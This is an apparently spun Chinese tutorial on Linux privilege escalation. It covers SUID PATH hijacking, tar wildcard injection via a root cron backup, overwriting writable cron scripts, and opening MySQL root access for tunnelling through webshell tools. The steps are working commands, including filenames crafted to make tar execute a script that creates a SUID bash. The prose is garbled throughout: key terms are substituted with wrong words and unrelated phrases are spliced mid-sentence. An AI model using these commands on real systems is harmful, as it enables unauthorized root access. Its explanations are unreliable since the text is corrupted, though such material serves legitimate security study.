目录
环境变量配合SUID实战测试
这个加壳方式比较鸡肋,由于它须要两个前提条件:
探针:
find / -user root -perm -4000 -print 2>/dev/null
root用户讲可执行文件进行编译linux配置环境变量如何写在shell中,保证文件的正常授权运行,给与ROOT权限执行
domo.c
#include
void main()
{ setuid(0);
setgid(0);
system("ps"); #system权限执行ps命令
}
ps自带的环境变量路径:
[fragile@localhost tmp]# whereis ps
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz /usr/share/man/man1p/ps.1p.gz
编译demo文件重命名为shell(给到了suid权限),赋于执行权限执行后运行ps命令
gcc demo.c -o shell
chmod u+s shell
普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
cp /bin/bash /104/ps
export PATH=/104:$PATH
./shell
id
原理剖析
demo.c会执行ps命令,会调用系统的环境变量路径:/bin/ps
root为了这个文件能被所有用户使用,就给它加上了suid权限
但是Linux系统的变量规则:执行ps时,会优先找当前目录有没,没有的话再往系统外找。
复制bash到当前目投档名为ps,demo.c执行ps命令时都会优先到当前目录的ps执行,而ps实际上是一个bash。
因为环境变量加了/104/pslinux查看磁盘空间,而/104/ps虽然是/bash
如同与demo.c执行bash,直接完成加壳
注:当前目录优先级低于环境变量
实战中怎样发觉挖掘这类安全问题普通用户权限下先获取suid所有程序消除系统自带的一些命令(筛选第三方程序)对该程序进行反编译或则找源码明白该程序的作用思索该程序有无执行一些环境变量命令(pspingsusudo等诸如该shell程序执行了ps命令)尝试通过复制suid加壳命令复制替换原先的执行命令(先添加环境变量优先执行复制后的命令)
定时任务打包配合SUID
背景:运维为了避免数据遗失等,写一个定时任务进行数据的打包压缩
数据打包命令可以尝试添加参数调用其他命令执行
tar zxf 1.tar.gz /var/www/*
加壳通过获取计划任务执行文件信息进行加壳
相对路径和绝对路径执行,计划任务命令存在参数调用
借助计划任务的备份功能tar命令的参数借助
定时任务crontab配置文件:
backup.sh
cd /tmp/;
tar czf /tmp/backup.tar.gz * #压缩当前目录所有文件至/tmp/backup.tar.gz
[root@localhost tmp]# cat /etc/crontab #定义每分钟执行一次脚本
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root /tmp/backup.sh
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
配合SUID加壳
echo "" > "--checkpoint-action=exec=sh test.sh" #将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh #写入命令 chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh
等待触发定时任务
原理剖析
定时任务执行/tmp/backup.sh
cd/tmp/;tarczf/tmp/backup.tar.gz*
tarczf/tmp/backup.tar.gz--checkpoint-action=exec=shtest.sh
tarczf/tmp/backup.tar.gz--checkpoint=1
定时任务进行文件压缩的时侯借助tar命令进行命令执行与文件名进行拼接因而间接执行test.sh文件
执行当前目录的bash程序利用suid进行bash加壳
因为定时任务是root用户下发的linux社区,所以执行中是root权限
可能会出现的错误:/tmp/back.sh权限不够
将backup.sh权限设置为可执行就可以了
注:通常适用于本地用户加壳webshell权限可能看不了压缩后的目录文件
定时任务权限配置不当
Linux下的每位文件都有以下三种权限
r:表示读取,对应的数字为4
w:表示写入,对应的数字为2
x:表示执行,对应的数字为1
通过4、2、1的组合,进行权限分配
借助不安全的权限分配操作造成的定时文件覆盖
chmod777775等所有者组其他成员说明
哪些意思呢?就是管理员或运维人员在使用定时任务进行bash脚本时,提早会赋于脚本执行权限
例如chmod+xxxx.shchmod555xxx.sh那些都是正常的,而且有些管理员可能会因为马大哈直接设置chmod777xxx.sh此时普通用户也具有w权限linux配置环境变量如何写在shell中,即具有写入权限,领到普通用户权限以后可以直接更改xxx.sh,例如在脚本中添加大跌shell命令,因而借助定时任务执行回调shell(执行为root权限)。
定时任务是调用时是root权限
数据库加壳-牌九的艺术
背景:加壳MySQL数据库时,发觉数据库不容许外链,使用Root权限开启外链,但依旧失败
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
虽然这么,依然失败。经过剖析获知:防火墙过滤,难以正向链接数据库。
策略有二:
手工加壳,通过哥斯拉/冰蝎的数据库链接进行加壳,相当于自己连自己隧洞出网,用外部或本机的工具项目加壳,构建隧洞
查看本地的网络连接情况
netstat -ano
隧洞出网加壳
机炮地址:上
百度云盘请输入提取码
加壳的项目:GitHub-SafeGroceryStore/MDUT:MDUT-MultipleDatabaseUtilizationTools
使用冰蝎进行外网穿透